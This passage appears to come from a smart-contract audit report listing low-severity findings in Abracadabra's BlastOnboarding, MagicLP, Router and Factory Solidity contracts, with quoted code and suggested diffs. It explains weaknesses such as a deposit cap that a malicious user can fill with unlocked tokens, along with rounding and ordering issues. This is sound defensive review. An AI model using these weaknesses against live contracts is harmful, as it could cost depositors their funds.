Users cannot deposit more tokens than the cap. I guess the cap is intended to limit the tokens for creating the initial MagicLP. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboarding.sol#L114-L116

function deposit(address token, uint256 amount, bool lock_) external whenNotPaused onlyState(State.Opened) onlySupportedTokens(token) {
    totals[token].total += amount;

    if (caps[token] > 0 && totals[token].total > caps[token]) {
        revert ErrCapReached();
    }
}

There are two types of tokens: locked and unlocked tokens. Only the locked tokens will be used to create MagicLP. Unlocked tokens can be claimed anytime and have no effect on the pool. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboarding.sol#L132-L141

function withdraw(address token, uint256 amount) external whenNotPaused onlySupportedTokens(token) {
    balances[msg.sender][token].unlocked -= amount;
    balances[msg.sender][token].total -= amount;
    totals[token].unlocked -= amount;
    totals[token].total -= amount;
    token.safeTransfer(msg.sender, amount);
}

If the cap is set, any malicious user can deposit many unlocked tokens and prevent other users from depositing. If there are not enough tokens to create a pool because of this, the only solution is to increase the cap. However, this is not a perfect solution.

Please modify deposit function.

function deposit(address token, uint256 amount, bool lock_) external whenNotPaused onlyState(State.Opened) onlySupportedTokens(token) {
    totals[token].total += amount;

-    if (caps[token] > 0 && totals[token].total > caps[token]) {
+    if (caps[token] > 0 && totals[token].locked > caps[token]) {
        revert ErrCapReached();
    }
}

Also modify lock function.

function lock(address token, uint256 amount) external whenNotPaused onlyState(State.Opened) onlySupportedTokens(token) {
    balances[msg.sender][token].unlocked -= amount;
    balances[msg.sender][token].locked += amount;
    totals[token].unlocked -= amount;
    totals[token].locked += amount;
+    if (caps[token] > 0 && totals[token].locked > caps[token]) {
+        revert ErrCapReached();
+    }
}

[L-3] The rounding direction should be set to round up in the _adjustAddLiquidity function in the router contract

In the _adjustAddLiquidity function, all calculations are rounded down. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L521-L538

function _adjustAddLiquidity(
    address lp,
    uint256 baseInAmount,
    uint256 quoteInAmount
) internal view returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount) {
        if (IERC20(lp).totalSupply() == 0) {
            uint256 i = IMagicLP(lp)._I_();
            uint256 shares = quoteInAmount < DecimalMath.mulFloor(baseInAmount, i) ? DecimalMath.divFloor(quoteInAmount, i) : baseInAmount;
            baseAdjustedInAmount = shares;
@here:            quoteAdjustedInAmount = DecimalMath.mulFloor(shares, i);
        } else {
            if (quoteReserve > 0 && baseReserve > 0) {
                uint256 baseIncreaseRatio = DecimalMath.divFloor(baseInAmount, baseReserve);
                uint256 quoteIncreaseRatio = DecimalMath.divFloor(quoteInAmount, quoteReserve);
                if (baseIncreaseRatio <= quoteIncreaseRatio) {
                    baseAdjustedInAmount = baseInAmount;
@here:                    quoteAdjustedInAmount = DecimalMath.mulFloor(quoteReserve, baseIncreaseRatio);
                } else {
                    quoteAdjustedInAmount = quoteInAmount;
@here:                    baseAdjustedInAmount = DecimalMath.mulFloor(baseReserve, quoteIncreaseRatio);
                }
            }
        }
}

These adjusted values are exactly what are deposited into the pool. Generally, in most protocols, the deposited token amounts should be rounded up in favor of the protocol rather than the users and such kind of issues have been treated as medium. In short, the shares calculation should be rounded down, while the token amounts calculation should be rounded up.

Also in the previewCreatePool function. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L103

function previewCreatePool() external pure returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount, uint256 shares) {
    quoteAdjustedInAmount = DecimalMath.mulFloor(shares, i);
}

And in the previewAddLiquidity function. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L140

function previewAddLiquidity() external view returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount, uint256 shares) {
    if (totalSupply == 0) {
        quoteAdjustedInAmount = DecimalMath.mulFloor(shares, i);
    }
}

Should use mulCeil instead of mulFloor.

[L-4] We should check the totals[token].total when rescuing tokens in the BlastOnboarding.

When rescuing tokens, we only check whether this token is supported. If it is not a supported token, the owner can claim any amounts. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboarding.sol#L205-L212

function rescue(address token, address to, uint256 amount) external onlyOwner {
    if (supportedTokens[token]) {
        revert ErrNotAllowed();
    }
    token.safeTransfer(to, amount);
    emit LogTokenRescue(token, to, amount);
}

There might be a scenario as follows: Token A is initially set as a supported token. Users deposit some amounts. After some time, this token is set as unsupported. As a result, the owner can claim this token, and therefore users who deposited it cannot claim their tokens.

Please add below additional check.

function rescue(address token, address to, uint256 amount) external onlyOwner {
+    if (amount > IERC20(token).balanceOf(address(this)) - totals[token].total) revert();
-     if (supportedTokens[token]) {
-         revert ErrNotAllowed();
-     }
    token.safeTransfer(to, amount);
    emit LogTokenRescue(token, to, amount);
}

By doing this, the owner can claim the donated supported tokens also.

[L-5] We cannot create the MagicLP when the decimal of the quote token is less than the decimal of the base token.

When creating the MagicLP through the router, we validate the decimals of the base and quote tokens. In case of overflow/underflow, the transaction will be reverted if the decimal of the quote token is less than the decimal of the base token. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L598-L605

function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {
    if (baseDecimals == 0 || quoteDecimals == 0) {
        revert ErrZeroDecimals();
    }
    if (quoteDecimals - baseDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE) {
        revert ErrDecimalsDifferenceTooLarge();
    }
}

And obviously, A/B MagicLP is different from B/A MagicLP because the shares calculation is based on the base token. It means that in some cases, we cannot create the necessary MagicLP due to decimals.

Please modify like below:

function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {
    if (baseDecimals == 0 || quoteDecimals == 0) {
        revert ErrZeroDecimals();
    }
-     if (quoteDecimals - baseDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE) {
+     if (quoteDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE + baseDecimals || baseDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE + quoteDecimals ) {
        revert ErrDecimalsDifferenceTooLarge();
    }
}

[L-6] There is no functionality to change the fee rate model in the MagicLP.

When creating MagicLP using the create function in the factory, we insert maintainerFeeRateModel as the fee rate model. This model will be used to calculate the maintainer fee in the MagicLP. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Factory.sol#L86

function create(address baseToken_, address quoteToken_, uint256 lpFeeRate_, uint256 i_, uint256 k_) external returns (address clone) {
    IMagicLP(clone).init(address(baseToken_), address(quoteToken_), lpFeeRate_, address(maintainerFeeRateModel), i_, k_);
}

There is a functionality to change maintainerFeeRateModel in the factory. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Factory.sol#L105-L112

function setMaintainerFeeRateModel(IFeeRateModel maintainerFeeRateModel_) external onlyOwner {
    if (address(maintainerFeeRateModel_) == address(0)) {
        revert ErrZeroAddress();
    }

    maintainerFeeRateModel = maintainerFeeRateModel_;
    emit LogSetMaintainerFeeRateModel(maintainerFeeRateModel_);
}

This implies that the maintainerFeeRateModel will require updating in the future. However, there's currently no functionality within MagicLP to modify the fee rate model. Consequently, existing MagicLPs are unable to alter the fee rate model.

Please add a functionality to change fee rate model in the MagicLP.

[L-7] Ensure to call the _twapUpdate function before making any changes to the reserves.

There is a _twapUpdate function to calculate cumulative price. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L545-L558

function _twapUpdate() internal {
    uint32 blockTimestamp = uint32(block.timestamp % 2 ** 32);
    uint32 timeElapsed = blockTimestamp - _BLOCK_TIMESTAMP_LAST_;

    if (timeElapsed > 0 && _BASE_RESERVE_ != 0 && _QUOTE_RESERVE_ != 0) {
        unchecked {
            _BASE_PRICE_CUMULATIVE_LAST_ += getMidPrice() * timeElapsed;
        }
    }

    _BLOCK_TIMESTAMP_LAST_ = blockTimestamp;
}

Ensure this function is invoked prior to modifying any reserves. It's crucial to first update the cumulative price using the previous reserves, then proceed with reserve adjustments. However, the current process involves calling the _twapUpdate function after modifying reserves. Consequently, the updated reserves are multiplied by the elapsed time, leading to inaccuracies in the cumulative price. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L564

function _setReserve(uint256 baseReserve, uint256 quoteReserve) internal {
    _BASE_RESERVE_ = baseReserve.toUint112();
    _QUOTE_RESERVE_ = quoteReserve.toUint112();

    _twapUpdate();
}

The same for the _sync function. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L578

function _sync() internal {
    uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
    uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
    ....
    _twapUpdate();
}

The same for the _resetTargetAndReserve function. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L542

function _resetTargetAndReserve() internal returns (uint256 baseBalance, uint256 quoteBalance) {
    _twapUpdate();
}

Should call _twapUpdate function before making changes to the reserves.

[L-8] There might be a loss of funds if users directly invoke the buyShares function within the MagicLP.

In the buyShares function, both the base and quote tokens are deposited in the same ratio, and the shares are calculated accordingly. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L397-L400

function buyShares(address to) external nonReentrant returns (uint256 shares, uint256 baseInput, uint256 quoteInput) {
    if (totalSupply() == 0) {
    } else if (baseReserve > 0 && quoteReserve > 0) {
        uint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);
        uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);
        uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio;
        shares = DecimalMath.mulFloor(totalSupply(), mintRatio);
    }
}

If a user deposits one token in a higher ratio than the other, the excess amount cannot be used for calculating shares. This means users may lose these funds.

To mitigate this risk, there's an addLiquidity function in the router. However, it's uncertain what will happen if users directly call this function.

And there is also no minimum shares check. And transferFrom is not used to transfer base and quote tokens from msg.sender to this MagicLP. While these approaches may present vulnerabilities, they can be mitigated when these functions including buyShares and sellShares are called from the router, as the router performs relevant checks.

Please ensure that these functions can only be invoked from the router.

[L-9] There's no guarantee that the locked amounts of MIM and USDB tokens will exceed specific thresholds when creating a MagicLP through bootstrap

When creating a MagicLP using the locked MIM and USDB tokens, there's no verification performed to ensure that the amounts exceed a certain threshold. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboardingBoot.sol#L101-L106

function bootstrap(uint256 minAmountOut) external onlyOwner onlyState(State.Closed) returns (address, address, uint256) {
    uint256 baseAmount = totals[MIM].locked;
    uint256 quoteAmount = totals[USDB].locked;
    MIM.safeApprove(address(router), type(uint256).max);
    USDB.safeApprove(address(router), type(uint256).max);

    (pool, totalPoolShares) = router.createPool(MIM, USDB, FEE_RATE, I, K, address(this), baseAmount, quoteAmount);
}

Users may lock more USDB tokens than MIM tokens. Since MIM is the base token, the totalPoolShares will be based on the amount of MIM tokens. If this value is significantly smaller than the amount of USDB tokens, the calculation of claimable shares for users will be affected by rounding because the totalPoolShares are significantly smaller than the totalLocked amount. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboardingBoot.sol#L155-L165

function _claimable(address user) internal view returns (uint256 shares) {
    uint256 totalLocked = totals[MIM].locked + totals[USDB].locked;

    if (totalLocked == 0) {
        return 0;
    }

    uint256 userLocked = balances[user][MIM].locked + balances[user][USDB].locked;
    return (userLocked * totalPoolShares) / totalLocked;
}

This can lead to some dust staking tokens being stuck in the BlastOnboarding contract.

Please set the threshold for the locked amounts of MIM and USDB tokens.

[L-10] The minimum value check should be conducted after adjusting the reserves in the setParameters function.

In MagicLP, when updating the parameters, we perform the minimum value check at the beginning of the function. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L480-L482

function setParameters(
    address assetTo,
    uint256 newLpFeeRate,
    uint256 newI,
    uint256 newK,
    uint256 baseOutAmount,
    uint256 quoteOutAmount,
    uint256 minBaseReserve,
    uint256 minQuoteReserve
) public nonReentrant onlyImplementationOwner {
    if (_BASE_RESERVE_ < minBaseReserve || _QUOTE_RESERVE_ < minQuoteReserve) {
        revert ErrReserveAmountNotEnough();
    }
}

In this function, we transfer some base and quote tokens, rendering this check redundant. It should be conducted after reducing the reserves.

function setParameters(
    address assetTo,
    uint256 newLpFeeRate,
    uint256 newI,
    uint256 newK,
    uint256 baseOutAmount,
    uint256 quoteOutAmount,
    uint256 minBaseReserve,
    uint256 minQuoteReserve
) public nonReentrant onlyImplementationOwner {
-     if (_BASE_RESERVE_ < minBaseReserve || _QUOTE_RESERVE_ < minQuoteReserve) {
-         revert ErrReserveAmountNotEnough();
-     }
    _transferBaseOut(assetTo, baseOutAmount);
    _transferQuoteOut(assetTo, quoteOutAmount);
    (uint256 newBaseBalance, uint256 newQuoteBalance) = _resetTargetAndReserve();

+     if (newBaseBalance < minBaseReserve || newQuoteBalance < minQuoteReserve) {
+         revert ErrReserveAmountNotEnough();
+     }

}

[L-11] The symbols of the base and quote tokens should be included in the symbol of MagicLP

The name of MagicLP involves the names of the base and quote tokens.the https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L155-L157

function name() public view override returns (string memory) {
    return string(abi.encodePacked("MagicLP ", IERC20Metadata(_BASE_TOKEN_).symbol(), "/", IERC20Metadata(_QUOTE_TOKEN_).symbol()));
}

But the symbol of MagicLP remains constant. https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L159-L161

function symbol() public pure override returns (string memory) {
    return "MagicLP";
}

It should incorporate the symbols of the base and quote tokens.

[L-12] In some contracts, there are no functionality to claim native yield from Blast.

Some contracts, such as BlastMagicLP, BlastBox, and BlastOnboarding, lack functionality for claiming native yield from Blast.

[L-13] Users are unable to create locks due to the max locks checks in the staking contract

Only operators have the authority to clear the expired locks of users using the processExpiredLocks function. However, even though this function should be called every reward duration, users cannot create locks when the maxLocks is set to 1(the reward duration matches the lock duration). Users can clear their expired locks when they create a lock and have already reached the maximum lock count.